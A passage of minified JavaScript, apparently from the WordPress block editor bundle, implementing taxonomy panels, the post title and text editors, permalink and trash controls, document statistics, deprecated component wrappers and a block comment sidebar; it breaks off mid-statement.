ph=e=>e;const mh=function({taxonomyWrapper:e=ph}){const{postType:t,taxonomies:s}=(0,c.useSelect)((e=>({postType:e(Ac).getCurrentPostType(),taxonomies:e(d.store).getEntityRecords("root","taxonomy",{per_page:-1})})),[]);return(null!=s?s:[]).filter((e=>e.types.includes(t)&&e.visibility?.show_ui)).map((t=>{const s=t.hierarchical?Om:Em,o={slug:t.slug,...t.hierarchical?{}:{__nextHasNoMarginBottom:!0}};return(0,L.jsx)(u.Fragment,{children:e((0,L.jsx)(s,{...o}),t)},`taxonomy-${t.slug}`)}))};function hh({children:e}){const t=(0,c.useSelect)((e=>{const t=e(Ac).getCurrentPostType(),s=e(d.store).getEntityRecords("root","taxonomy",{per_page:-1});return s?.some((e=>e.types.includes(t)))}),[]);return t?e:null}function gh({taxonomy:e,children:t}){const s=e?.slug,o=s?`taxonomy-panel-${s}`:"",{isEnabled:n,isOpened:i}=(0,c.useSelect)((e=>{const{isEditorPanelEnabled:t,isEditorPanelOpened:n}=e(Ac);return{isEnabled:!!s&&t(o),isOpened:!!s&&n(o)}}),[o,s]),{toggleEditorPanelOpened:r}=(0,c.useDispatch)(Ac);if(!n)return null;const a=e?.labels?.menu_name;return a?(0,L.jsx)(Uo.PanelBody,{title:a,opened:i,onToggle:()=>r(o),children:t}):null}function _h(){return(0,L.jsx)(hh,{children:(0,L.jsx)(mh,{taxonomyWrapper:(e,t)=>(0,L.jsx)(gh,{taxonomy:t,children:e})})})}var fh=s(4132);function bh(){const e=(0,p.useInstanceId)(bh),{content:t,blocks:s,type:o,id:n}=(0,c.useSelect)((e=>{const{getEditedEntityRecord:t}=e(d.store),{getCurrentPostType:s,getCurrentPostId:o}=e(Ac),n=s(),i=o(),r=t("postType",n,i);return{content:r?.content,blocks:r?.blocks,type:n,id:i}}),[]),{editEntityRecord:i}=(0,c.useDispatch)(d.store),r=(0,u.useMemo)((()=>t instanceof Function?t({blocks:s}):s?(0,y.__unstableSerializeAndClean)(s):t),[t,s]);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.VisuallyHidden,{as:"label",htmlFor:`post-content-${e}`,children:(0,fs.__)("Type text or HTML")}),(0,L.jsx)(fh.A,{autoComplete:"off",dir:"auto",value:r,onChange:e=>{i("postType",o,n,{content:e.target.value,blocks:void 0,selection:void 0})},className:"editor-post-text-editor",id:`post-content-${e}`,placeholder:(0,fs.__)("Start writing with text or HTML")})]})}const yh="wp-block wp-block-post-title block-editor-block-list__block editor-post-title editor-post-title__input rich-text",xh=/[\r\n]+/g;function vh(e){const t=(0,u.useRef)(),{isCleanNewPost:s}=(0,c.useSelect)((e=>{const{isCleanNewPost:t}=e(Ac);return{isCleanNewPost:t()}}),[]);return(0,u.useImperativeHandle)(e,(()=>({focus:()=>{t?.current?.focus()}}))),(0,u.useEffect)((()=>{if(!t.current)return;const{defaultView:e}=t.current.ownerDocument,{name:o,parent:n}=e,i="editor-canvas"===o?n.document:e.document,{activeElement:r,body:a}=i;!s||r&&a!==r||t.current.focus()}),[s]),{ref:t}}function Sh(){const{editPost:e}=(0,c.useDispatch)(Ac),{title:t}=(0,c.useSelect)((e=>{const{getEditedPostAttribute:t}=e(Ac);return{title:t("title")}}),[]);return{title:t,setTitle:function(t){e({title:t})}}}const wh=(0,u.forwardRef)(((e,t)=>{const{placeholder:s}=(0,c.useSelect)((e=>{const{getSettings:t}=e(h.store),{titlePlaceholder:s}=t();return{placeholder:s}}),[]),[o,n]=(0,u.useState)(!1),{ref:i}=vh(t),{title:r,setTitle:a}=Sh(),[l,d]=(0,u.useState)({}),{clearSelectedBlock:m,insertBlocks:g,insertDefaultBlock:_}=(0,c.useDispatch)(h.store),f=(0,Lo.decodeEntities)(s)||(0,fs.__)("Add title"),{value:b,onChange:x,ref:v}=(0,Jc.__unstableUseRichText)({value:r,onChange(e){a(e.replace(xh," "))},placeholder:f,selectionStart:l.start,selectionEnd:l.end,onSelectionChange(e,t){d((s=>{const{start:o,end:n}=s;return o===e&&n===t?s:{start:e,end:t}}))},__unstableDisableFormats:!1});function S(e){g(e,0)}const w=Di(yh,{"is-selected":o});return(0,L.jsx)("h1",{ref:(0,p.useMergeRefs)([v,i]),contentEditable:!0,className:w,"aria-label":f,role:"textbox","aria-multiline":"true",onFocus:function(){n(!0),m()},onBlur:function(){n(!1),d({})},onKeyDown:function(e){e.keyCode===wl.ENTER&&(e.preventDefault(),_(void 0,void 0,0))},onPaste:function(e){const t=e.clipboardData;let s="",o="";try{s=t.getData("text/plain"),o=t.getData("text/html")}catch(e){return}window.console.log("Received HTML:\n\n",o),window.console.log("Received plain text:\n\n",s);const n=(0,y.pasteHandler)({HTML:o,plainText:s});if(e.preventDefault(),n.length)if("string"!=typeof n){const[e]=n;if(r||"core/heading"!==e.name&&"core/paragraph"!==e.name)S(n);else{const t=(0,Kc.__unstableStripHTML)(e.attributes.content);a(t),S(n.slice(1))}}else{const e=(0,Kc.__unstableStripHTML)(n);x((0,Jc.insert)(b,(0,Jc.create)({html:e})))}}})})),kh=(0,u.forwardRef)(((e,t)=>(0,L.jsx)(Od,{supportKeys:"title",children:(0,L.jsx)(wh,{ref:t})})));const Ch=(0,u.forwardRef)((function(e,t){const{placeholder:s}=(0,c.useSelect)((e=>{const{getSettings:t}=e(h.store),{titlePlaceholder:s}=t();return{placeholder:s}}),[]),[o,n]=(0,u.useState)(!1),{title:i,setTitle:r}=Sh(),{ref:a}=vh(t),l=Di(yh,{"is-selected":o,"is-raw-text":!0}),d=(0,Lo.decodeEntities)(s)||(0,fs.__)("Add title");return(0,L.jsx)(Uo.TextareaControl,{ref:a,value:i,onChange:function(e){r(e.replace(xh," "))},onFocus:function(){n(!0)},onBlur:function(){n(!1)},label:s,className:l,placeholder:d,hideLabelFromVision:!0,autoComplete:"off",dir:"auto",rows:1,__nextHasNoMarginBottom:!0})}));function Ph({children:e}){const{canTrashPost:t}=(0,c.useSelect)((e=>{const{isEditedPostNew:t,getCurrentPostId:s,getCurrentPostType:o}=e(Ac),{canUser:n}=e(d.store),i=o(),r=s(),a=t(),l=!!r&&n("delete",{kind:"postType",name:i,id:r});return{canTrashPost:(!a||r)&&l&&!R.includes(i)}}),[]);return t?e:null}function jh({onActionPerformed:e}){const t=(0,c.useRegistry)(),{isNew:s,isDeleting:o,postId:n,title:i}=(0,c.useSelect)((e=>{const t=e(Ac);return{isNew:t.isEditedPostNew(),isDeleting:t.isDeletingPost(),postId:t.getCurrentPostId(),title:t.getCurrentPostAttribute("title")}}),[]),{trashPost:r}=(0,c.useDispatch)(Ac),[a,l]=(0,u.useState)(!1);if(s||!n)return null;return(0,L.jsxs)(Ph,{children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,className:"editor-post-trash",isDestructive:!0,variant:"secondary",isBusy:o,"aria-disabled":o,onClick:o?void 0:()=>l(!0),children:(0,fs.__)("Move to trash")}),(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:a,onConfirm:async()=>{l(!1),await r();const s=await t.resolveSelect(Ac).getCurrentPost();e?.("move-to-trash",[s])},onCancel:()=>l(!1),confirmButtonText:(0,fs.__)("Move to trash"),size:"small",children:(0,fs.sprintf)((0,fs.__)('Are you sure you want to move "%s" to the trash?'),i)})]})}function Eh({onClose:e}){const{isEditable:t,postSlug:s,postLink:o,permalinkPrefix:n,permalinkSuffix:i,permalink:r}=(0,c.useSelect)((e=>{var t;const s=e(Ac).getCurrentPost(),o=e(Ac).getCurrentPostType(),n=e(d.store).getPostType(o),i=e(Ac).getPermalinkParts(),r=null!==(t=s?._links?.["wp:action-publish"])&&void 0!==t&&t;return{isEditable:e(Ac).isPermalinkEditable()&&r,postSlug:(0,v.safeDecodeURIComponent)(e(Ac).getEditedPostSlug()),viewPostLabel:n?.labels.view_item,postLink:s.link,permalinkPrefix:i?.prefix,permalinkSuffix:i?.suffix,permalink:(0,v.safeDecodeURIComponent)(e(Ac).getPermalink())}}),[]),{editPost:a}=(0,c.useDispatch)(Ac),{createNotice:l}=(0,c.useDispatch)(_s.store),[m,g]=(0,u.useState)(!1),_=(0,p.useCopyToClipboard)(r,(()=>{l("info",(0,fs.__)("Copied Permalink to clipboard."),{isDismissible:!0,type:"snackbar"})})),f="editor-post-url__slug-description-"+(0,p.useInstanceId)(Eh);return(0,L.jsxs)("div",{className:"editor-post-url",children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)("Slug"),onClose:e}),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:3,children:[t&&(0,L.jsx)("p",{className:"editor-post-url__intro",children:(0,u.createInterpolateElement)((0,fs.__)("<span>Customize the last part of the Permalink.</span> <a>Learn more.</a>"),{span:(0,L.jsx)("span",{id:f}),a:(0,L.jsx)(Uo.ExternalLink,{href:(0,fs.__)("https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink")})})}),(0,L.jsxs)("div",{children:[t&&(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.__experimentalInputControl,{__next40pxDefaultSize:!0,prefix:(0,L.jsx)(Uo.__experimentalInputControlPrefixWrapper,{children:"/"}),suffix:(0,L.jsx)(Uo.__experimentalInputControlSuffixWrapper,{variant:"control",children:(0,L.jsx)(Uo.Button,{icon:Ki,ref:_,size:"small",label:"Copy"})}),label:(0,fs.__)("Slug"),hideLabelFromVision:!0,value:m?"":s,autoComplete:"off",spellCheck:"false",type:"text",className:"editor-post-url__input",onChange:e=>{a({slug:e}),e?m&&g(!1):m||g(!0)},onBlur:e=>{a({slug:(0,v.cleanForSlug)(e.target.value)}),m&&g(!1)},"aria-describedby":f}),(0,L.jsxs)("p",{className:"editor-post-url__permalink",children:[(0,L.jsx)("span",{className:"editor-post-url__permalink-visual-label",children:(0,fs.__)("Permalink:")}),(0,L.jsxs)(Uo.ExternalLink,{className:"editor-post-url__link",href:o,target:"_blank",children:[(0,L.jsx)("span",{className:"editor-post-url__link-prefix",children:n}),(0,L.jsx)("span",{className:"editor-post-url__link-slug",children:s}),(0,L.jsx)("span",{className:"editor-post-url__link-suffix",children:i})]})]})]}),!t&&(0,L.jsx)(Uo.ExternalLink,{className:"editor-post-url__link",href:o,target:"_blank",children:o})]})]})]})}function Th({children:e}){const t=(0,c.useSelect)((e=>{const t=e(Ac).getCurrentPostType(),s=e(d.store).getPostType(t);if(!s?.viewable)return!1;if(!e(Ac).getCurrentPost().link)return!1;return!!e(Ac).getPermalinkParts()}),[]);return t?e:null}function Bh(){return Ih()}function Ih(){const e=(0,c.useSelect)((e=>e(Ac).getPermalink()),[]);return(0,v.filterURLForDisplay)((0,v.safeDecodeURIComponent)(e))}function Nh(){const{isFrontPage:e}=(0,c.useSelect)((e=>{const{getCurrentPostId:t}=e(Ac),{getEditedEntityRecord:s,canUser:o}=e(d.store),n=o("read",{kind:"root",name:"site"})?s("root","site"):void 0,i=t();return{isFrontPage:n?.page_on_front===i}}),[]),[t,s]=(0,u.useState)(null),o=(0,u.useMemo)((()=>({anchor:t,placement:"left-start",offset:36,shift:!0})),[t]),n=e?(0,fs.__)("Link"):(0,fs.__)("Slug");return(0,L.jsx)(Th,{children:(0,L.jsxs)(zd,{label:n,ref:s,children:[!e&&(0,L.jsx)(Uo.Dropdown,{popoverProps:o,className:"editor-post-url__panel-dropdown",contentClassName:"editor-post-url__panel-dialog",focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=>(0,L.jsx)(Dh,{isOpen:e,onClick:t}),renderContent:({onClose:e})=>(0,L.jsx)(Eh,{onClose:e})}),e&&(0,L.jsx)(Ah,{})]})})}function Dh({isOpen:e,onClick:t}){const{slug:s}=(0,c.useSelect)((e=>({slug:e(Ac).getEditedPostSlug()})),[]),o=(0,v.safeDecodeURIComponent)(s);return(0,L.jsx)(Uo.Button,{size:"compact",className:"editor-post-url__panel-toggle",variant:"tertiary","aria-expanded":e,"aria-label":(0,fs.sprintf)((0,fs.__)("Change link: %s"),o),onClick:t,children:(0,L.jsx)(L.Fragment,{children:o})})}function Ah(){const{postLink:e}=(0,c.useSelect)((e=>{const{getCurrentPost:t}=e(Ac);return{postLink:t()?.link}}),[]);return(0,L.jsx)(Uo.ExternalLink,{className:"editor-post-url__front-page-link",href:e,target:"_blank",children:e})}function Rh({render:e}){return e({canEdit:(0,c.useSelect)((e=>{var t;return null!==(t=e(Ac).getCurrentPost()._links?.["wp:action-publish"])&&void 0!==t&&t}))})}const Mh=(0,L.jsx)(M.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,L.jsx)(M.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z"})}),Lh=window.wp.wordcount;function Oh(){const e=(0,c.useSelect)((e=>e(Ac).getEditedPostAttribute("content")),[]),t=(0,fs._x)("words","Word count type. Do not translate!");return(0,L.jsx)("span",{className:"word-count",children:(0,Lh.count)(e,t)})}const Fh=189;function Vh(){const e=(0,c.useSelect)((e=>e(Ac).getEditedPostAttribute("content")),[]),t=(0,fs._x)("words","Word count type. Do not translate!"),s=Math.round((0,Lh.count)(e,t)/Fh),o=0===s?(0,u.createInterpolateElement)((0,fs.__)("<span>< 1</span> minute"),{span:(0,L.jsx)("span",{})}):(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs._n)("<span>%s</span> minute","<span>%s</span> minutes",s),s),{span:(0,L.jsx)("span",{})});return(0,L.jsx)("span",{className:"time-to-read",children:o})}function zh(){const e=(0,c.useSelect)((e=>e(Ac).getEditedPostAttribute("content")),[]);return(0,Lh.count)(e,"characters_including_spaces")}const Uh=function({hasOutlineItemsDisabled:e,onRequestClose:t}){const{headingCount:s,paragraphCount:o,numberOfBlocks:n}=(0,c.useSelect)((e=>{const{getGlobalBlockCount:t}=e(h.store);return{headingCount:t("core/heading"),paragraphCount:t("core/paragraph"),numberOfBlocks:t()}}),[]);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)("div",{className:"table-of-contents__wrapper",role:"note","aria-label":(0,fs.__)("Document Statistics"),tabIndex:"0",children:(0,L.jsxs)("ul",{role:"list",className:"table-of-contents__counts",children:[(0,L.jsxs)("li",{className:"table-of-contents__count",children:[(0,fs.__)("Words"),(0,L.jsx)(Oh,{})]}),(0,L.jsxs)("li",{className:"table-of-contents__count",children:[(0,fs.__)("Characters"),(0,L.jsx)("span",{className:"table-of-contents__number",children:(0,L.jsx)(zh,{})})]}),(0,L.jsxs)("li",{className:"table-of-contents__count",children:[(0,fs.__)("Time to read"),(0,L.jsx)(Vh,{})]}),(0,L.jsxs)("li",{className:"table-of-contents__count",children:[(0,fs.__)("Headings"),(0,L.jsx)("span",{className:"table-of-contents__number",children:s})]}),(0,L.jsxs)("li",{className:"table-of-contents__count",children:[(0,fs.__)("Paragraphs"),(0,L.jsx)("span",{className:"table-of-contents__number",children:o})]}),(0,L.jsxs)("li",{className:"table-of-contents__count",children:[(0,fs.__)("Blocks"),(0,L.jsx)("span",{className:"table-of-contents__number",children:n})]})]})}),s>0&&(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)("hr",{}),(0,L.jsx)("h2",{className:"table-of-contents__title",children:(0,fs.__)("Document Outline")}),(0,L.jsx)(ld,{onSelect:t,hasOutlineItemsDisabled:e})]})]})};const Hh=(0,u.forwardRef)((function({hasOutlineItemsDisabled:e,repositionDropdown:t,...s},o){const n=(0,c.useSelect)((e=>!!e(h.store).getBlockCount()),[]);return(0,L.jsx)(Uo.Dropdown,{popoverProps:{placement:t?"right":"bottom"},className:"table-of-contents",contentClassName:"table-of-contents__popover",renderToggle:({isOpen:e,onToggle:t})=>(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,...s,ref:o,onClick:n?t:void 0,icon:Mh,"aria-expanded":e,"aria-haspopup":"true",label:(0,fs.__)("Details"),tooltipPosition:"bottom","aria-disabled":!n}),renderContent:({onClose:t})=>(0,L.jsx)(Uh,{onRequestClose:t,hasOutlineItemsDisabled:e})})}));function Gh(){const{__experimentalGetDirtyEntityRecords:e}=(0,c.useSelect)(d.store);return(0,u.useEffect)((()=>{const t=t=>{if(e().length>0)return t.returnValue=(0,fs.__)("You have unsaved changes. If you proceed, they will be lost."),t.returnValue};return window.addEventListener("beforeunload",t),()=>{window.removeEventListener("beforeunload",t)}}),[e]),null}const $h=window.wp.serverSideRender;var Wh=s.n($h);function Zh(e,t,s=[]){const o=(0,u.forwardRef)(((s,o)=>(w()("wp.editor."+e,{since:"5.3",alternative:"wp.blockEditor."+e,version:"6.2"}),(0,L.jsx)(t,{ref:o,...s}))));return s.forEach((s=>{o[s]=Zh(e+"."+s,t[s])})),o}function Yh(e,t){return(...s)=>(w()("wp.editor."+e,{since:"5.3",alternative:"wp.blockEditor."+e,version:"6.2"}),t(...s))}const Kh=Zh("RichText",h.RichText,["Content"]);Kh.isEmpty=Yh("RichText.isEmpty",h.RichText.isEmpty);const qh=Zh("Autocomplete",h.Autocomplete),Qh=Zh("AlignmentToolbar",h.AlignmentToolbar),Xh=Zh("BlockAlignmentToolbar",h.BlockAlignmentToolbar),Jh=Zh("BlockControls",h.BlockControls,["Slot"]),eg=Zh("BlockEdit",h.BlockEdit),tg=Zh("BlockEditorKeyboardShortcuts",h.BlockEditorKeyboardShortcuts),sg=Zh("BlockFormatControls",h.BlockFormatControls,["Slot"]),og=Zh("BlockIcon",h.BlockIcon),ng=Zh("BlockInspector",h.BlockInspector),ig=Zh("BlockList",h.BlockList),rg=Zh("BlockMover",h.BlockMover),ag=Zh("BlockNavigationDropdown",h.BlockNavigationDropdown),lg=Zh("BlockSelectionClearer",h.BlockSelectionClearer),cg=Zh("BlockSettingsMenu",h.BlockSettingsMenu),dg=Zh("BlockTitle",h.BlockTitle),ug=Zh("BlockToolbar",h.BlockToolbar),pg=Zh("ColorPalette",h.ColorPalette),mg=Zh("ContrastChecker",h.ContrastChecker),hg=Zh("CopyHandler",h.CopyHandler),gg=Zh("DefaultBlockAppender",h.DefaultBlockAppender),_g=Zh("FontSizePicker",h.FontSizePicker),fg=Zh("Inserter",h.Inserter),bg=Zh("InnerBlocks",h.InnerBlocks,["ButtonBlockAppender","DefaultBlockAppender","Content"]),yg=Zh("InspectorAdvancedControls",h.InspectorAdvancedControls,["Slot"]),xg=Zh("InspectorControls",h.InspectorControls,["Slot"]),vg=Zh("PanelColorSettings",h.PanelColorSettings),Sg=Zh("PlainText",h.PlainText),wg=Zh("RichTextShortcut",h.RichTextShortcut),kg=Zh("RichTextToolbarButton",h.RichTextToolbarButton),Cg=Zh("__unstableRichTextInputEvent",h.__unstableRichTextInputEvent),Pg=Zh("MediaPlaceholder",h.MediaPlaceholder),jg=Zh("MediaUpload",h.MediaUpload),Eg=Zh("MediaUploadCheck",h.MediaUploadCheck),Tg=Zh("MultiSelectScrollIntoView",h.MultiSelectScrollIntoView),Bg=Zh("NavigableToolbar",h.NavigableToolbar),Ig=Zh("ObserveTyping",h.ObserveTyping),Ng=Zh("SkipToSelectedBlock",h.SkipToSelectedBlock),Dg=Zh("URLInput",h.URLInput),Ag=Zh("URLInputButton",h.URLInputButton),Rg=Zh("URLPopover",h.URLPopover),Mg=Zh("Warning",h.Warning),Lg=Zh("WritingFlow",h.WritingFlow),Og=Yh("createCustomColorsHOC",h.createCustomColorsHOC),Fg=Yh("getColorClassName",h.getColorClassName),Vg=Yh("getColorObjectByAttributeValues",h.getColorObjectByAttributeValues),zg=Yh("getColorObjectByColorValue",h.getColorObjectByColorValue),Ug=Yh("getFontSize",h.getFontSize),Hg=Yh("getFontSizeClass",h.getFontSizeClass),Gg=Yh("withColorContext",h.withColorContext),$g=Yh("withColors",h.withColors),Wg=Yh("withFontSizes",h.withFontSizes),Zg=Fl,Yg=Fl;function Kg(e){return w()("wp.editor.cleanForSlug",{since:"12.7",plugin:"Gutenberg",alternative:"wp.url.cleanForSlug"}),(0,v.cleanForSlug)(e)}const qg=(0,Uo.createSlotFill)(Symbol("EditCanvasContainerSlot")),Qg="__experimentalMainDashboardButton",{Fill:Xg,Slot:Jg}=(0,Uo.createSlotFill)(Qg),e_=Xg;e_.Slot=()=>{const e=(0,Uo.__experimentalUseSlotFills)(Qg);return(0,L.jsx)(Jg,{bubblesVirtually:!0,fillProps:{length:e?e.length:0}})};const t_=e_,s_=(0,L.jsx)(M.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,L.jsx)(M.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z"})}),o_="edit-post/collab-sidebar",n_=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"})});const i_=function({avatar:e,name:t,date:s}){const o=(0,x.getSettings)(),[n=o.formats.time]=(0,d.useEntityProp)("root","site","time_format"),{currentUserAvatar:i,currentUserName:r}=(0,c.useSelect)((e=>{var t;const s=e(d.store).getCurrentUser(),{getSettings:o}=e(h.store),{__experimentalDiscussionSettings:n}=o(),i=n?.avatarURL;return{currentUserAvatar:null!==(t=s?.avatar_urls[48])&&void 0!==t?t:i,currentUserName:s?.name}}),[]),a=new Date;return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)("img",{src:null!=e?e:i,className:"editor-collab-sidebar-panel__user-avatar",alt:(0,fs.__)("User avatar"),width:32,height:32}),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"0",children:[(0,L.jsx)("span",{className:"editor-collab-sidebar-panel__user-name",children:null!=t?t:r}),(0,L.jsx)("time",{dateTime:(0,x.dateI18n)("c",null!=s?s:a),className:"editor-collab-sidebar-panel__user-time",children:(0,x.dateI18n)(n,null!=s?s:a)})]})]})};const r_=function({onSubmit:e,onCancel:t,thread:s,submitButtonText:o}){var n;const[i,r]=(0,u.useState)(null!==(n=s?.content?.raw)&&void 0!==n?n:"");return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.TextareaControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,value:null!=i?i:"",onChange:r}),(0,L.jsxs)(Uo.__experimentalHStack,{alignment:"left",spacing:"3",justify:"flex-start",children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,accessibleWhenDisabled:!0,variant:"primary",onClick:()=>{e(i),r("")},disabled:0===(a=i,a.trim()).length,text:o}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:t,text:(0,fs._x)("Cancel","Cancel comment button")})]})]});var a};function a_({threads:e,onEditComment:t,onAddReply:s,onCommentDelete:o,onCommentResolve:n,showCommentBoard:i,setShowCommentBoard:r}){const{blockCommentId:a}=(0,c.useSelect)((e=>{const{getBlockAttributes:t,getSelectedBlockClientId:s}=e(h.store),o=s();return{blockCommentId:o?t(o)?.blockCommentId:null}}),[]),[l,d]=(0,u.useState)(i&&a?a:null),p=()=>{d(null),r(!1)};return(0,L.jsxs)(L.Fragment,{children:[(!Array.isArray(e)||0===e.length)&&(0,L.jsx)(Uo.__experimentalVStack,{alignment:"left",className:"editor-collab-sidebar-panel__thread",justify:"flex-start",spacing:"3",children:(0,fs.__)("No comments available")}),Array.isArray(e)&&e.length>0&&e.map((e=>(0,L.jsx)(Uo.__experimentalVStack,{className:Di("editor-collab-sidebar-panel__thread",{"editor-collab-sidebar-panel__active-thread":a&&a===e.id,"editor-collab-sidebar-panel__focus-thread":l&&l===e.id}),id:e.id,spacing:"3",onClick:()=>d(e.id),children:(0,L.jsx)(l_,{thread:e,onAddReply:s,onCommentDelete:o,onCommentResolve:n,onEditComment:t,isFocused:l===e.id,clearThreadFocus:p})},e.id)))]})}function l_({thread:e,onEditComment:t,onAddReply:s,onCommentDelete:o,onCommentResolve:n,isFocused:i,clearThreadFocus:r}){return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(c_,{thread:e,onResolve:n,onEdit:t,onDelete:o,status:e.status}),0<e?.reply?.length&&(0,L.jsxs)(L.Fragment,{children:[!i&&(0,L.jsx)(Uo.__experimentalVStack,{className:"editor-collab-sidebar-panel__show-more-reply",children:(0,fs.sprintf)((0,fs._x)("%s more replies..","Show replies button"),e?.reply?.length)}),i&&e.reply.map((s=>(0,L.jsxs)(Uo.__experimentalVStack,{className:"editor-collab-sidebar-panel__child-thread",id:s.id,spacing:"2",children:["approved"!==e.status&&(0,L.jsx)(c_,{thread:s,onEdit:t,onDelete:o}),"approved"===e.status&&(0,L.jsx)(c_,{thread:s})]},s.id)))]}),"approved"!==e.status&&i&&(0,L.jsxs)(Uo.__experimentalVStack,{className:"editor-collab-sidebar-panel__child-thread",spacing:"2",children:[(0,L.jsx)(Uo.__experimentalHStack,{alignment:"left",spacing:"3",justify:"flex-start",children:(0,L.jsx)(i_,{})}),(0,L.jsx)(Uo.__experimentalVStack,{spacing:"3",className:"editor-collab-sidebar-panel__comment-field",children:(0,L.jsx)(r_,{onSubmit:t=>{s(t,e.id)},onCancel:e=>{e.stopPropagation(),r()},submitButtonText:(0,fs._x)("Reply","Add reply comment")})})]})]})}const c_=({thread:e,onResolve:t,onEdit:s,onDelete:o,status:n})=>{const[i,r]=(0,u.useState)(!1),[a,l]=(0,u.useState)(!1),c=()=>{r(!1),l(!1)},d=[s&&{title:(0,fs._x)("Edit","Edit comment"),onClick:()=>{r("edit")}},o&&{title:(0,fs._x)("Delete","Delete comment"),onClick:()=>{r("delete"),l(!0)}}].filter((e=>e?.onClick));return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)(Uo.__experimentalHStack,{alignment:"left",spacing:"3",justify:"flex-start",children:[(0,L.jsx)(i_,{avatar:e?.author_avatar_urls?.[48],name:e?.author_name,date:e?.date}),(0,L.jsxs)("span",{className:"editor-collab-sidebar-panel__comment-status",children:["approved"!==n&&(0,L.jsxs)(Uo.__experimentalHStack,{alignment:"right",justify:"flex-end",spacing:"0",children:[0===e?.parent&&t&&(0,L.jsx)(Uo.Button,{label:(0,fs._x)("Resolve","Mark comment as resolved"),__next40pxDefaultSize:!0,icon:Ui,onClick:()=>{r("resolve"),l(!0)},showTooltip:!0}),0<d.length&&(0,L.jsx)(Uo.DropdownMenu,{icon:n_,label:(0,fs._x)("Select an action","Select comment action"),className:"editor-collab-sidebar-panel__comment-dropdown-menu",controls:d})]}),"approved"===n&&(0,L.jsx)(Uo.Tooltip,{text:(0,fs.__)("Resolved"),children:(0,L.jsx)(fr,{icon:Ho})})]})]}),(0,L.jsx)(Uo.__experimentalHStack,{alignment:"left",spacing:"3",justify:"flex-start",className:"editor-collab-sidebar-panel__user-comment",children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"3",className:"editor-collab-sidebar-panel__comment-field",children:["edit"===i&&(0,L.jsx)(r_,{onSubmit:t=>{s(e.id,t),r(!1)},onCancel:()=>c(),thread:e,submitButtonText:(0,fs._x)("Update","verb")}),"edit"!==i&&(0,L.jsx)(u.RawHTML,{children:e?.content?.raw})]})}),"resolve"===i&&(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:a,onConfirm:()=>{t(e.id),r(!1),l(!1)},onCancel:c,confirmButtonText:"Yes",cancelButtonText:"No",children:(0,fs.__)("Are you sure you want to mark this comment as resolved?")}),"delete"===i&&(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:a,onConfirm:()=>{o(e.id),r(!1),l(!1)},onCancel:c,confirmButtonText:"Yes",cancelButtonText:"No",children:(0,fs.__)("Are you sure you want to delete this comment?")})]})};function d_({onSubmit:e,showCommentBoard:t,setShowCommentBoard:s}){const{clientId:o,blockCommentId:n}=(0,c.useSelect)((e=>{const{getSelectedBlock:t}=e(h.store),s=t();return{clientId:s?.clientId,blockCommentId:s?.attributes?.blockCommentId}}));return t&&o&&void 0===n?(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"3",className:"editor-collab-sidebar-panel__thread editor-collab-sidebar-panel__active-thread editor-collab-sidebar-panel__focus-thread",children:[(0,L.jsx)(Uo.__experimentalHStack,{alignment:"left",spacing:"3",children:(0,L.jsx)(i_,{})}),(0,L.jsx)(r_,{onSubmit:t=>{e(t)},onCancel:()=>{s(!1)},submitButtonText:(0,fs._x)("Comment","Add comment button")})]}):null}const{CommentIconSlotFill:u_}=$(h.privateApis),p_=({onClick:e})=>(0,L.jsx)(u_.Fill,{children:({onClose:t})=>(0,L.jsx)(Uo.MenuItem,{icon:s_,onClick:()=>{e(),t()},"aria-haspopup":"dialog",children:(0,fs._x)("Comment","Add comment button")})}),{CommentIconToolbarSlotFill:m_}=$(h.privateApis),h_=({onClick:e})=>(0,L.jsx)(m_.Fill,{children:(0,L.jsx)(Uo.ToolbarButton,{accessibleWhenDisabled:!0,icon:s_,label:(0,fs._x)("Comment","View comment"),onClick:e})});function 